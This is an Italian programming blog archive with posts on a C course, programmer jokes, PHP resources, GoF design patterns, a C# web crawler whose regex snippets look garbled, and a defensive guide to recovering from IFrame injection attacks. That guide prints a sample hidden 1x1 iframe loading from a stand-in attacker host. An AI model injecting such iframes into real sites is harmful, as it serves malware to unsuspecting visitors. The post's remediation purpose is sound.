Archive

Archive for the ‘Informatica’ Category

Raccolta Corsi C++

May 24th, 2010 No comments

Corso C – Enrico Colombini – Gruppo Editoriale Jackson

May 8th, 2010 No comments

CorsoC

Chi non si ricorda dello stupendo corso interattivo in italiano della Jackson sul C  di Enrico Colombini.

Quando anni fa inizia a studiare il C mi fu utilissimo, in quanto è suddiviso in 8 lezioni introduttive per poi passare alle restanti 8 lezioni approfondite. L’ambiente è il vecchio Dos di Microsoft e il compilatore su cui provavo il codice era il Turbo C++ 3.0 della Borland.

Il corso è in autoistruzione, quindi vi è una parte descrittiva ed una interattiva. La velocità di apprendimento è molto alta.

Grazie Enrico.

Download corsodic.

Fonte: ProgrammandoFacile

Il vero programmatore

March 26th, 2010 No comments

Cercando in giro per la rete ho trovato un classico senza tempo:

  • La casa del Programmatore è orientata a sud. La casa del Vero Programmatore è orientata agli oggetti.
  • Nel caso erediti una vecchia casa, il Vero Programmatore non la ristruttura. La sovrascrive.
  • Se il suo bucato non è abbastanza morbido, il Vero Programmatore ricompila il Vernel.
  • Quando il Vero Programmatore si ferma a fare benzina a un distributore IP, si meraviglia di non poterlo usare come server DHCP.
  • Il Vero Programmatore quando va a letto esclama sleep (0×7080).
  • Il Vero Programmatore mangia wafer di silicio
  • Il Vero Programmatore sa che il caso non esiste. E’ solo uno pseudo-caso precomputato.
  • Il Vero Programmatore può condividere un appartamento su eMule.
  • Il Vero Programmatore può eludere qualsiasi intercettazione telefonica semplicemente dicendo “slash slash” all’inizio della conversazione.
  • Il Vero Programmatore si dichiara alla donna che ama dicendo “private Object VeroProgrammatore;”
  • Se il Vero Programmatore si reca negli Stati Uniti, non ha bisogno di convertire i suoi Euro in Dollari: esegue un cast implicito.
  • Il Vero Programmatore entra in casa dalla porta 8080.
  • Il Vero Programmatore va a fare la spesa con una lista concatenata.
  • Il Vero Programmatore può contare fino a 1024 con le dita delle mani.
  • Il Vero Programmatore regala alla sua fidanzata un array di perle.
  • Il Vero Programmatore programma le sue vacanze in assembler.
  • Quando un Vero Programmatore da bambino impara a parlare, le sue prime parole non sono “mamma” o “papà” ma ” Hello, World!”
  • Quando un Vero Programmatore riceve le carte al tavolo da gioco, se le ordina in mano in O(nlogn) mosse.
  • Quando a uno sportello gli viene chiesto di compilare un modulo, il Vero Programmatore esclama: ” gcc modulo.c”.
  • Quando da piccolo a scuola il Vero Programmatore doveva fare il tema “il mio papà”, scriveva semplicemente Papà.t
  • Quando due Veri Programmatori si scontrano, o vanno subito in Buffer Overflow, o si affrontano per Mille Cicli di Clock senza che vi sia un vincitore.oString().
  • Il Vero Programmatore può scrivere un metodo che lancia un’eccezione che conferma la regola.
  • Il Vero Programmatore non porta fuori la spazzatura: non si fida del Garbage Collector. Si limita ad esclamare: “Rifiuti.Dispose()!” e l’immondizia si dissolve nel nulla.
  • Il Vero Programmatore non iscrive i suoi figli a scuola. Ne fa comparire i nomi direttamente sul registro di classe utilizzando un puntatore.
  • Il Vero Programmatore ha un grande rispetto per l’arte. Uno dei più grandi misteri che lo tormentano è come Leonardo sia riuscito a dipingere La Gioconda senza vertex shading.
  • Il Vero Programmatore ha sulla parete di casa sua un quadretto con la scritta “127.0.0.1 sweet 127.0.0.1?”.
  • Un Vero Programmatore non usa alcun firewall. Si accorge che qualcuno è entrato nel suo computer perchè il suo personaggio di Ultima Online skippa un frame quando attacca.
  • Un test per verificare se qualcuno è un Vero Programmatore consiste nel legarlo, imbavagliarlo e chiuderlo a chiave in una stanza vuota da solo con un computer preassemblato e non overcloccato, senza alcun utensile o strumento. Se entro 30 secondi non sta uscendo del fumo da sotto la porta, il soggetto NON è un Vero Programmatore.
  • Il Vero Programmatore chiama qualsiasi interfaccia più complessa di una shell a riga di comando con un unico nome: “spreco di RAM”.
  • Il Vero Programmatore non si ferma col rosso. Si ferma col #FF0000.
  • Un Vero Programmatore finisce tutte le sue frasi con un punto e virgola;…anche quando parla;
  • Il Programmatore può cancellare la cache del suo browser. Il Vero Programmatore può cancellare la cache di Google.
  • Nel caso perda le chiavi di un lucchetto, il Vero Programmatore si cimenta in un lungo ed estenuante brute force .
  • Il Programmatore va all’Ikea, compra una scrivania, la porta a casa e la monta. Al Vero Programmatore invece basta esclamare: “apt-get install scrivania” perchè essa appaia in tutto il suo splendore nello studio, pronta all’uso (e con una risma di fogli bianchi già nel primo cassetto).
  • Per il Vero Programmatore il concetto di interfaccia grafica è rappresentato da una serie di 1 e 0 ben indentati su di un monitor monocromatico.
  • Se poprio viene costretto a commentare il proprio codice, il Vero Programmatore disseminerà casualmente nel proprio listato qualche ovvia descrizione dei metodi più semplici. Le parti di codice indispensabili al funzionamento del software saranno invece precedute da un: //Non mi aspetto che tu capisca questo
  • Quando il Vero Programmatore viene invitato ad una festa, può scoprire quali ragazze sono single e quali no semplicemente esclamando: “ls -l” .
  • Il Vero Programmatore ha gli Gnome da giardino.
  • La Vera Programmatrice si preoccupa quando ha un ritardo nel ciclo for.
  • Il Vero Programmatore Ricorda con affetto il suo vecchio Spectrum. Stava giocando contro un certo Joshua a Guerra Termonucleare Globale, quando il processore si è fuso. Era il 9 novembre 1989.
  • Qualcuno sostiene che il Vero Programmatore tiene sempre i backup da quando ha dovuto riscrivere 327000 linee di assembler 68020. In realtà il Vero Programmatore non fa alcun backup: è più veloce riscrivere il software a memoria che ricordarsi dove ha messo i nastri o i cd dei backup.
  • Una recente teoria sostiene che gli universi paralleli esistono: li fa girare il Vero Programmatore con il VMWare.
  • Il Vero Programmatore non usa strumenti di Debug o Checkpoint. Può leggere il valore di una variabile durante l’esecuzione del suo programma semplicemente osservando attentamente i banchi di RAM del computer su cui lavora.
  • Se non conosce il significato di una parola, il Programmatore consulta un dizionario. Se non conosce il significato di una parola, il Vero Programmatore consulta una tabella di hash.
  • Il Vero Programmatore può formattare un disco in vinile.
  • Il Vero Programmatore non cambia operatore telefonico, gli basta fare un cast.

Tratto da :

CodeSnippet

Nonciclopedia

Php tutorial e guide in rete

March 23rd, 2010 No comments

php

Il sito di PHP
Il sito di riferimento per il PHP

Blog PHP di Pro PHP
Un ottimo blog sempre aggiornato contenente i migliori script per PHP

Manuale di PHP 5 di advanced techno
Ottimo ebook di 400 pagine per cominciare a programmare in PHP 5

Guida alla crittografia in PHP di advanced techno
Ebook gratuito che spiega come gestire la crittografia dei dati in PHP

Programmazione PHP ad oggetti di NETTUTS
Ottima guida alla programmazione ad oggetti in PHP

Guida alla crezione di un blog in PHP senza usare MySQL di WebMasterPoint
Semplice guida alla creazione di un blog in PHP senza l’utilizzo di MySQL

5 ottimi Manuali PHP di Abelski
Ottima serie di 5 manuali PHP che coprono sia i fondamenti del linguaggio che le funzionalità più avanzate. E’ richiesta la registrazione al sito

Guida a Code Igniter di Pro PHP
Ottima guida in 5 passi su come creare una piattaforma di blogging in PHP usando il framework Code Igniter

Guida su tipi e variabili PHP di Carmelo Scuderi
Definizione ed utilizzo di Tipi e Variabili in PHP

Guida introduttiva al PHP di Carmelo Scuderi
Manuale per principianti sul PHP

Tutorial Zend PHP Framework di Chris Shiflett
Primo tutorial disponibile per il nuovo Framework PHP sviluppato da Zend

Yahoo PHP Developer Center di Yahoo!
Ottima raccolta di tutorial e guide per utilizzare le API di Yahoo con PHP.

PHP Book di ZioBudda
Manuale gratis di PHP a cura di Ziobudda, decisamente ben realizzato ed in continua espansione.

Come creare un framework applicativo di CreativeWeb
Slideshow in powerpoint della presentazione tenuta al PHP Day su come creare un framework applicativo in PHP

Articoli, FAQ e altre risorse per PHP di Html.it
Materiale vario costantemente aggiornato

Gestire database MySQL con PHP4 di Beta
Una guida per apprendere passo passo come realizzare applicativi web in PHP4 con database MySQL

SQL Injections in PHP di CreativeWeb
Guida alle SQL Injection per identificarle e prevenirle

Guida PHP di Risorse.net
Guida per principianti a PHP decisamente ben realizzata.

Corso di PHP di SoftwarePlanet
Corso introduttivo a PHP in continua evoluzione ed aggiornamento

Introduzione ai design pattern

March 4th, 2010 No comments
Introduzione ai design pattern

Progettare applicazioni basate sul paradigma object-oriented non è affatto banale, riuscire a renderle anche riusabili ed estendibili a piacimento è ancora più arduo. Ciò che occorre di volta in volta è saper individuare gli oggetti giusti, con un livello di dettaglio e granularità adeguato, ed essere in grado di definire una struttura gerarchica consistente, basata su un insieme di relazioni e collaborazioni coerente ed efficace.

Riuscire nell’intento di definire al primo tentativo una struttura ad oggetti che sia corretta e al tempo stesso riusabile e flessibile è un’impresa quasi impossibile, soprattutto nel caso di applicazioni particolarmente complesse. In genere, durante la sua realizzazione, un’applicazione subisce innumerevoli modifiche dettate dalla variabilità delle specifiche progettuali, dalla scarsa conoscenza del dominio applicativo e dall’inesperienza. In più la mancanza di tempo, che nei progetti di sviluppo è un aspetto quasi congenito, porta sovente a scegliere soluzioni molto focalizzate sul modello reale attuale e poco orientate ad adattarsi ai cambiamenti futuri.

In uno scenario come quello descritto, diventa importante sia per chi progetta, sia per chi scrive il codice saper individuare delle soluzioni che siano riutilizzabili più volte nell’ambito di uno stesso progetto, piuttosto che in progetti diversi, senza ogni volta dover partire da zero per risolvere uno specifico problema.

Per minimizzare il lavoro da svolgere, gli sviluppatori meno esperti solitamente tendono a ricorrere a tecniche non object-oriented (non ultimo, il famigerato copia-e-incolla), con il risultato di duplicare parti di codice e di introdurre in modo più o meno voluto accoppiamento e dipendenze tra gli oggetti. Gli architetti e gli sviluppatori con più esperienza tendono invece a preferire le soluzioni object-oriented che in passato si sono rivelate vincenti ed efficaci.

Queste soluzioni, che in prima analisi possiamo definire pattern, sono orientate a risolvere particolari problematiche di progettazione e tendono ad introdurre nell’ambito di una struttura ad oggetti quella flessibilità che è necessaria per rendere il codice riutilizzabile ed estendibile.

Pattern architetturali, design pattern e idiomi

Non tutti i pattern sono uguali ed è bene capire come essi possono essere strutturati e organizzati. Dal momento che esistono diverse tipologie di pattern in funzione della loro area di applicazione, in generale essi possono essere raggruppati in macrocategorie specifiche (dette anche cluster), ciascuna delle quali contenente pattern orientati a risolvere problematiche similari. I cluster possono a loro volta essere suddivisi in sottocategorie a granularità più bassa.

Oltre che l’appartenenza ad un determinato cluster, per un pattern è possibile considerare come fattore distintivo anche il livello di astrazione che lo contraddistingue. Nell’ambito del cluster dei pattern relativi allo sviluppo di applicazioni software possiamo individuare tre categorie di pattern caratterizzate da un diverso livello di astrazione.

  • Pattern architetturali: descrivono lo schema organizzativo della struttura che caratterizza un sistema software. In genere questi pattern individuano le parti del sistema a cui sono associate responsabilità omogenee e le relazioni che esistono tra i diversi sottosistemi. Un esempio significativo di pattern architetturale è rappresentato dal layering, che descrive come suddividere un’applicazione in strati logici sovrapposti e tra loro comunicanti.
  • Pattern di disegno (design pattern): sono i pattern che si riferiscono alle problematiche legate al disegno object-oriented e di essi avremo modo di parlare in modo più approfondito nel corso dell’articolo.
  • Pattern di implementazione (idiomi): sono pattern di basso livello specifici per una particolare tecnologia (per esempio, il .NET Framework). Essi descrivono le modalità implementative da utilizzare per risolvere problematiche di sviluppo sfruttando in modo mirato le caratteristiche peculiari di una particolare piattaforma.

Come detto, ciascuno di questi gruppi è caratterizzato da un grado di astrazione differente. I design pattern si collocano tra i pattern architetturali, troppo generici per essere orientati a risolvere problematiche di disegno, e i pattern idiomatici, molto legati alla tecnologia a cui si riferiscono e all’implementazione vera e propria. I design pattern descrivono soluzioni che lasciano sempre e comunque un certo grado di libertà nella loro adozione e implementazione, dal momento che non descrivono mai soluzioni che sono valide per una piattaforma specifica, ma al contrario hanno una validità più generale e trasversale rispetto alla tecnologia.

Il significato dei design pattern

Uno degli aspetti più delicati nel disegno object-oriented (OOD) consiste nella scomposizione del sistema in oggetti. Si tratta di una attività complessa dal momento che entrano in gioco fattori non direttamente collegati alle specifiche funzionali quali l’accoppiamento tra oggetti, la loro dipendenza, la coesione funzionale, la granularità, la flessibilità, l’estendibilità e la riusabilità. Questi aspetti devono necessariamente influenzare il processo di scomposizione, talvolta anche in modi tra loro discordanti.

Esistono diversi approcci che permettono di scomporre in oggetti un sistema. È possibile partire dai casi d’uso, individuare in essi i sostantivi e i verbi e da questi ricavare le classi e i metodi corrispondenti al fine di ottenere la struttura ad oggetti desiderata. In alternativa, è possibile porre l’attenzione principalmente sulle responsabilità e sulle collaborazioni nell’ambito del sistema in fase di studio e, in funzione di esse, individuare gli oggetti necessari per gestirle opportunamente. O ancora, è possibile partire da un modello del mondo reale e tradurre gli elementi individuati in altrettanti oggetti.

Ognuno di questi approcci concorre a definire la struttura statica del sistema che, se da un lato rispecchia la realtà di oggi, dall’altro in genere non si presta direttamente ad evolvere nel tempo e ad adattarsi alla realtà di domani. L’esigenza di individuare una struttura flessibile ed estendibile, in grado di rispondere al meglio ai cambiamenti nel tempo, porta inevitabilmente a cercare soluzioni di disegno che facciano largo uso di astrazioni e oggetti non necessariamente collegati alla realtà in esame per non limitare in modo importante l’evoluzione del sistema.

I design pattern aiutano ad individuare queste astrazioni e gli oggetti in grado di rappresentarle. Essi concorrono a limitare le dipendenze, incrementando l’estendibilità e la riusabilità, e rendono di conseguenza il sistema più manutenibile nel tempo, in grado di rispondere ai cambiamenti in modo efficiente ed elegante.

I design pattern agevolano il riuso di soluzioni architetturali note, rendendo accessibili agli architetti e agli sviluppatori tecniche di disegno universalmente riconosciute come valide ed efficaci. In questo senso i design pattern aiutano i progettisti a operare scelte consapevoli tra le varie alternative possibili allo scopo di favorire la riusabilità.

La storia dei design pattern

Il concetto di pattern scaturisce dal lavoro di un architetto edile, Christopher Alexander, che alla fine degli anni ’70 fu il primo a proporre l’idea di usare i pattern, ovvero soluzioni collaudate a problematiche note, per progettare l’architettura di palazzi ed edifici in genere. Successivamente, nel corso degli anni ’80 e nei successivi anni ’90, l’argomento fu ripreso e sviluppato dagli esperti informatici del tempo nell’ottica della progettazione object-oriented, fino alla definitiva consacrazione nel 1995 coincidente con l’uscita del libro Design Patterns: Elements of Reusable Object-Oriented Software di Erich Gamma, Richard Helm, Ralph Johnson e John Vlissides (conosciuti anche come la Gang of Four, GoF), che rappresenta ancor’oggi una delle pietre miliari della letteratura dedicata alla progettazione di sistemi basati sul paradigma ad oggetti. Negli ultimi anni molti autori hanno contribuito con ulteriori pubblicazioni dedicate al tema dei design pattern, fornendo nuove interpretazioni e ulteriori spunti di riflessione in merito al loro utilizzo.

Elementi caratterizzanti dei design pattern

Riprendendo quanto detto da Alexander nel suo libro A Pattern Language, “ogni pattern descrive un problema che si ripete più e più volte nel nostro ambiente, descrive quindi il nocciolo della soluzione del problema, in modo tale che la soluzione possa essere usata un milione di volte, senza che essa venga mai applicata nella stessa maniera”. Come si può comprendere dalla definizione di Alexander, il concetto che sta alla base dei pattern è quello di fornire una soluzione ad un problema in un determinato contesto. Nel caso della progettazione del software, questo significa individuare meccanismi e tecniche che permettano di risolvere problematiche di disegno object-oriented in modo elegante, ripetibile ed efficace.

In genere un design pattern è caratterizzato da quattro elementi fondamentali.

  • Nome: descrive le funzionalità di un pattern con una o due parole. Associare un nome ad un pattern permette di identificarlo in modo semplice ed immediato e consente di condividere le idee di disegno ad un livello più alto di astrazione, senza la necessità di dover entrare nei dettagli implementativi.
  • Problema: descrive la situazione alla quale applicare il pattern e le condizioni necessarie e propedeutiche all’utilizzo del pattern stesso.
  • Soluzione: descrive in modo astratto come il pattern risolve il problema, specificando gli elementi coinvolti con le loro responsabilità e collaborazioni. La soluzione viene solitamente espressa in modo sufficientemente generale da lasciare numerosi gradi di libertà nelle possibili scelte implementative. Un pattern infatti è come uno schema che può essere applicato ripetutamente, il più delle volte in modo particolare e differente.
  • Conseguenze: descrive l’insieme dei risultati e dei vincoli a cui si va incontro nell’applicazione del pattern. Le conseguenze sono fondamentali per poter valutare i vantaggi e gli svantaggi derivanti dall’uso del pattern e per poter eventualmente preferire soluzioni alternative per la risoluzione del problema.

Un design pattern associa un nome identificativo ad un problema di progettazione, permette di identificare gli elementi che concorrono a definire la struttura ad oggetti a cui il pattern si riferisce e, per ciascun elemento individuato, specifica il ruolo, le collaborazioni e le dipendenze con altri oggetti e, in generale, le responsabilità ad esso attribuite. Ciascun design pattern è focalizzato su una particolare problematica di disegno e per essa specifica i possibili scenari di utilizzo, evidenziandone i vincoli e le conseguenze.

Il cluster dei pattern GoF

Tra i vari design pattern noti in letteratura, i pattern GoF (Gang of Four) formano senza dubbio un cluster fondamentale. Conoscere i nomi e le motivazioni di questi pattern rappresenta senza dubbio un buon punto di partenza per poter successivamente approfondire i dettagli che li riguardano ed eventualmente valutarne l’utilizzo.

I 23 pattern che compongono questo cluster sono organizzati in tre categorie distinte e tra loro complementari:

  • pattern creazionali, che riguardano la creazione di istanze;
  • pattern strutturali, che si riferiscono alla composizione di classi e oggetti;
  • pattern comportamentali, che si occupano delle modalità con cui classi e oggetti interagiscono tra loro in relazione alle loro diverse responsabilità.

I pattern creazionali sono cinque:

  • Abstract Factory: fornisce un’interfaccia per creare famiglie di oggetti correlati o dipendenti senza specificare le classi concrete;
  • Builder: separa la costruzione di un oggetto complesso dalla sua rappresentazione, in modo tale che lo stesso processo di costruzione possa creare rappresentazioni differenti;
  • Factory Method: definisce un’interfaccia per creare un oggetto, ma lascia alle classi derivate di decidere quale classe istanziare. Questo pattern permette a una classe di delegare la creazione di un’istanza alle sue classi derivate;
  • Prototype: specifica il tipo degli oggetti da creare usando un’istanza prototipale e crea i nuovi oggetti a partire da questo prototipo;
  • Singleton: assicura che una classe abbia solamente un’unica istanza e fornisce un entry-point globale ad essa.

I pattern strutturali sono sette:

  • Adapter: converte l’interfaccia di una classe in un’altra interfaccia compatibile con il client. Questo pattern consente a classi diverse di collaborare tra loro, cosa che non sarebbe possibile diversamente a causa della incompatibilità delle rispettive interfacce;
  • Bridge: disaccoppia un’astrazione dalla sua implementazione affinché entrambe possano variare in modo indipendente;
  • Composite: compone una serie di oggetti in una struttura ad albero secondo una gerarchia di tipo part-whole (parte-totalità). Questo pattern permette ai client di trattare oggetti singoli o loro raggruppamenti in modo uniforme;
  • Decorator: aggiunge dinamicamente responsabilità addizionali ad un oggetto. Questo pattern fornisce un meccanismo alternativo e flessibile all’ereditarietà per estendere le funzionalità base;
  • Facade: fornisce un’interfaccia unificata a un insieme di interfacce in un sottosistema. Questo pattern definisce un’interfaccia ad un livello più alto che rende il sottosistema più facile da usare, dato che ne maschera la complessità interna;
  • Flyweight: usa la condivisione per gestire in modo efficiente un numero considerevole di oggetti a granularità fine;
  • Proxy: fornisce un surrogato di un oggetto per controllare l’accesso ad esso.

I pattern comportamentali sono undici:

  • Chain of Responsability: evita di accoppiare il mittente di una richiesta con il suo destinatario dando la possibilità a più di un oggetto di gestire la richiesta. Collega tra loro gli oggetti ricevitori e fa passare la richiesta da un oggetto all’altro fino a destinazione;
  • Command: incapsula una richiesta in un oggetto, rendendo possibile parametrizzare i client con diverse tipologie di richieste, con richieste bufferizzate (queue), con richieste registrate (log) e con richieste annullabili (undo);
  • Interpreter: dato un linguaggio, definisce una rappresentazione della sua grammatica e del relativo interprete, che usa la rappresentazione per interpretare le frasi del linguaggio;
  • Iterator: fornisce un modo per accedere in modo sequenziale agli elementi di una collezione di oggetti senza esporre la sua rappresentazione sottostante;
  • Mediator: definisce un oggetto che incapsula le modalità di interazione di un insieme di oggetti. Questo pattern favorisce un basso accoppiamento, evitando che gli oggetti facciano riferimento l’uno con l’altro esplicitamente, e permette di variare le modalità di interazione in modo indipendente dagli oggetti stessi;
  • Memento: senza violare l’incapsulamento, recupera e rende esplicito lo stato interno di un oggetto in modo tale che l’oggetto stesso possa essere riportato allo stato originale in un secondo momento;
  • Observer: definisce una dipendenza uno-a-molti fra oggetti in modo tale che, se un oggetto cambia stato, tutti gli oggetti da esso dipendenti vengono notificati e aggiornati automaticamente;
  • State: permette ad un oggetto di modificare il suo comportamento quando il suo stato interno cambia;
  • Strategy: definisce una famiglia di algoritmi, li incapsula e li rende intercambiabili fra loro. Questo pattern permette di variare gli algoritmi in modo indipendente dal contesto di utilizzo;
  • Template Method: definisce lo scheletro di un algoritmo in un metodo di una classe base, delegando alcuni passi alle classi derivate. Questo pattern permette di ridefinire nelle classi derivate alcuni passi dell’algoritmo senza cambiare la struttura dell’algoritmo stesso;
  • Visitor: rappresenta un’operazione da svolgersi sugli elementi di una struttura ad oggetti. Questo pattern consente di definire nuove operazioni senza cambiare le classi degli elementi su cui opera.

Conclusioni

In questo articolo abbiamo visto come i design pattern rappresentino un modo elegante e flessibile per fare disegno object-oriented. Essi possono essere usati sia in fase di progettazione di un sistema, sia per rivedere e migliorare un sistema già esistente applicando il refactoring al codice. Sia in un caso che nell’altro, i design pattern vanno comunque applicati con attenzione e cognizione di causa.

I design pattern non rappresentano la panacea di tutti i mali nella progettazione del software, né tanto meno vanno usati a priori in modo estensivo con l’inevitabile conseguenza di produrre over-engineering (sovradimensionamento). L’approccio corretto deve sempre porre al centro la ricerca da parte del progettista delle soluzioni di disegno più semplici, sfruttando i pattern in modo mirato per ottenere questo obiettivo.

Pertanto i design pattern vanno usati solamente quando effettivamente servono. In caso contrario il rischio è quello di produrre inutilmente una struttura ad oggetti troppo complessa e articolata, di difficile comprensione e tale da richiedere grossi sforzi per essere gestita nel tempo. L’esperienza e il buon senso in molti casi permettono di fare la scelta giusta.

Riferimenti utili

  • Erich Gamma, Richard Helm, Ralph Johnson, John Vlissides – Design Patterns: Elements of Reusable Object-Oriented Software – Addison Wesley, 1995.
  • Martin Fowler – Analysis Patterns: Reusable Object Models – Addison-Wesley, 1997.
  • Martin Fowler – Patterns of Enterprise Application Architecture – Addison-Wesley, 2003.
  • Microsoft Pattern & Practices – Enterprise Solution Patterns Using Microsoft .NET – Microsoft Corporation, 2003.
  • Craig Larman – Applying UML and Patterns – Prentice-Hall, 2001.
  • Joshua Kerievsky – Refactoring to Patterns – Addison-Wesley, 2005.
  • Sezione dedicata ai design pattern su UGIdotNETWiki

Fonte Msdn

Un esempio di crawler

October 2nd, 2009 No comments

Ho caricato un progetto di un crawler fatto in c# con visual studio 2008 e sql server 2005 che permette lo scarico e l’analisi di un noto sito italiano di moto. Il progetto per semplicità è diviso in due sotto progetti. Il primo si occupa dello scarico fisico delle pagine html in una cartella, l’altro invece rianalizza tutti i files parsando con le regular expression i campi che mi interessavano salvandoli nel database, inoltre scarica le immagini e le salva nella stessa cartella delle pagine. Per come era stato fatto (agosto 2009) è un po lento. Bisognerebbe spezzarlo in diversi thread per aumentarne la velocità e fare l’analisi delle pagine senza scaricarle, ma non avevo tempo per migliorarlo, spero possa essere utile come esempio.

Esempio Crawler c#

Categories: Informatica Tags:

IFrame Injection Attack

October 2nd, 2009 2 comments

IFrame Injection Attack è considerato uno dei più comuni e semplici attacchi di cross site scripting (XSS). Se di recente avete avuto un attacco IFrame Injection Attack per il vostro sito web, non andate in panico. Qui ci sono alcune cose che si possono fare subito dopo aver scoperto che il vostro sito web è stato vittima di un attacco di questo sito.
Un esempio di codice maligno di IFrame Injection Attack:

<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"> </ iframe>

1. Tenete giù il vostro sito per un certo periodo
Si raccomanda di tenere giù il vostro sito per un certo periodo, per non diffondere malware o virus dal tuo sito web ai tuoi visitatori. Il sito web deve essere offline, mentre lo si sta ripristinando .

2. Cambiare tutte le password
Anche se questo può sembrare un semplice passaggio, molte persone, me compreso, spesso non riescono a cambiare tutte le password subito dopo che un attacco è stato scoperto. Hai bisogno di cambiare tutte le password associate al sito, che includono le password di ftp, ssh password, le password degli account, le password di database, le password admin e così via.

3. Prendere una copia del sito interessato per ulteriori analisi
Si consiglia di fare ulteriori analisi sull’attacco e si potrebbe aver bisogno di fare riferimento al codice esatto sorgente di Injection in futuro. Prendere una copia del sito interessato in un formato compresso, ad esempio: zip o gzip e riportatelo in una zona di quarantena per un futuro riferimento. Si noti che non è consigliabile mantenere i file interessati sul server.

4. Sostituire l’intero sito con una copia di backup pulita
Non fare affidamento sul vostro fornitore di hosting per una copia di backup del vostro sito. Molti fornitori di hosting dicono di fare un backup automatico ogni notte, tuttavia, è più affidabile se avete a disposizione altre soluzioni di backup per il vostro sito web.

5. Provare il sito e riaprire
Assicuratevi che il sito sia tornato pulito, la versione originale. Una volta che siete soddisfatti del risultato, è possibile riaprire il sito web per il pubblico.

6. Analizzare in che modo l’attacco è stato originato
Al fine di garantire che lo stesso attacco non accada di nuovo, è necessario fare un’analisi completa di attacco e come è stato originato. È stato a causa di una falla di sicurezza nella vostra applicazione? È stato causato da un permesso debole file? Oppure è il server colpiti da un virus che inietta questi codice nel tuo sito web a intervalli regolari? Avrete bisogno di capire come accade, al fine di evitare che in futuro riaccada. E, se necessario, ottenere una consulenza da esperti.

7. Eseguire le misure di sicurezza adeguate sulla base dell’analisi
Anche se avete recuperato il vostro sito web, non significa che non possiate essere attaccati di nuovo. Se il buco stessa sicurezza esiste ancora, probabilmente è molto probabile che il sito sarà di nuovo attaccato nel prossimo futuro. Pertanto, si consiglia di eseguire le misure di sicurezza necessarie, sia che si tratti di innalzamento di sicurezza del vostro server web, l’aggiornamento di una domanda, o l’introduzione di restrizioni di sicurezza.

La mia esperienza

Ho trovato e recuperato un bel alcuni siti web che era stato attaccato da iframe maligni sfruttano negli ultimi anni. E le cause più comuni sembrano essere i seguenti:

* Il sito è ospitato su un cheap web hosting
* Il sito sta utilizzando una vecchia versione di un’applicazione open source (ad esempio: WordPress 1.0), che ha noti problemi di sicurezza
* I permessi dei file sul server non sono fissati di conseguenza (ad esempio: ogni file e cartella sul server è impostato su 777 – read-write-execute)
* Debolezza in un codice di applicazione. Per esempio, non vi è sufficiente validazione dell’input.
* FTP piuttosto che SFTP è utilizzato
* Non vi è alcuna restrizione sugli account IP per SSH e FTP

Ci sono alcune cose semplici che si può fare per ridurre il rischio del tuo sito web di essere attaccato.

* Cambia la tua password periodicamente (ad esempio, almeno una volta al mese)
* Mantenere le applicazioni aggiornate. Eseguire sempre l’aggiornamento immediatamente quando una nuova versione è disponibile.
* Clean up di file e directory sul server web. Assicurarsi che non vi è alcun file con il vecchio. Bak o. Estensioni txt in giro
* Verificare che le autorizzazioni di file appropriato verranno usati per ogni file e directory sul server web
* Consultare un esperto di sicurezza di ottenere il miglior consiglio

Spero di essere stato utile.
Fonte

Categories: Informatica Tags:

Costruiamo un crawler – Analizziamo i dati scaricati

August 27th, 2009 No comments

A questo punto con i dati scaricati possiamo analizzare il contenuto html e prelevare quello che ci serve tramite le regular expression:

// Recupero il Genere
string pattern = @"
.*? (?.*?)

";
Match mc = Regex.Match(Page, pattern, RegexOptions.IgnoreCase);

try
{
if (mc.Success)
{
_schedaDb.Genere = mc.Groups["Genere"].Value.ToUpper();
}
}
catch (Exception ex)
{
fileLog.WriteFileLog(String.Format("Errore nel recupero del dato Genere per la scheda: {0}, item: {1}, errore: {2}", _scheda._id, _scheda._nomeitem, ex.Message), true);
}

// Recupero il Produttore
pattern = @"
.*? (?
.*?)

";
mc = Regex.Match(Page, pattern, RegexOptions.IgnoreCase);

try
{
if (mc.Success)
{
_schedaDb.Produttore = mc.Groups["Produttore"].Value.ToUpper();
}
}
catch (Exception ex)
{
fileLog.WriteFileLog(String.Format("Errore nel recupero del dato Produttore per la scheda: {0}, item: {1}, errore: {2}", _scheda._id, _scheda._nomeitem, ex.Message), true);
}

// Recupero il Sviluppatore
pattern = @"
.*? (?.*?)

";
mc = Regex.Match(Page, pattern, RegexOptions.IgnoreCase);

try
{
if (mc.Success)
{
_schedaDb.Sviluppatore = mc.Groups["Sviluppatore"].Value.ToUpper();
}
}
catch (Exception ex)
{
fileLog.WriteFileLog(String.Format("Errore nel recupero del dato Sviluppatore per la scheda: {0}, item: {1}, errore: {2}", _scheda._id, _scheda._nomeitem, ex.Message), true);
}

L’unico problema sono le regular expression da conoscere e testare. Io per questo mi sono basato su un tool scritto da Francesco Balena che trovate qui

Categories: Informatica Tags:

Costruiamo un crawler

August 27th, 2009 No comments

In questo esempio vedremo come costruire un semplice crawler per recuperare i dati da un sito scritto in .net e salvarne le informazioni in un database sql server 2005:

Per prima cosa dobbiamo creare un applicazione console con visual studio 2008 e nel main aggiungere la sezione per il download delle pagine, che poi verranno processate tramite regular expression per ricavarne i dati da salvare nel database:


// Aggancio i filtri
HttpWebRequest req = WebRequest.Create(Utils.ConcatUrls(Settings.Default.Host, Settings.Default.ListSchedePages)) as HttpWebRequest;
// Aggancio gli eventuali cookies
//req.CookieContainer = cookies;
byte[] data = null;

// Passo i dati
StringBuilder sb = new StringBuilder();
sb.Append("__EVENTVALIDATION=");
sb.Append(HttpUtility.UrlEncode("/wEWMQixQE="));
sb.Append("&amp;amp;__VIEWSTATE=");
sb.Append(HttpUtility.UrlEncode("/wEPDmRk"));
sb.Append("&amp;amp;drpGeneri=[All]&amp;amp;drpPeriodo=0&amp;amp;p_corrente=");

int pageNumber = 1;

data = System.Text.Encoding.ASCII.GetBytes(sb.ToString() + pageNumber);

req.Method = "post";
req.ContentType = "application/x-www-form-urlencoded";
req.ContentLength = data.Length;

// Passo i dati per filtrare
Stream outputStream = req.GetRequestStream();
outputStream.Write(data, 0, data.Length);
outputStream.Close();

// Leggo la risposta
WebResponse response = req.GetResponse();
Stream responseStream = response.GetResponseStream();
StreamReader reader = new StreamReader(responseStream, Encoding.Default);
string Page = reader.ReadToEnd();
reader.Close();
responseStream.Close();
response.Close();

In questo caso è da notare che già a questo punto nella stringa Page abbiamo il contenuto della pagina che vogliamo analizzare (registrata nei settings del progetto Settings.Default.Host, Settings.Default.ListSchedePages).

Categories: Informatica Tags:

Parliamo di crawler

August 27th, 2009 No comments

Un crawler (detto anche spider o robot), è un software che analizza i contenuti di una rete (o di un database) in un modo metodico e automatizzato, in genere per conto di un motore di ricerca.

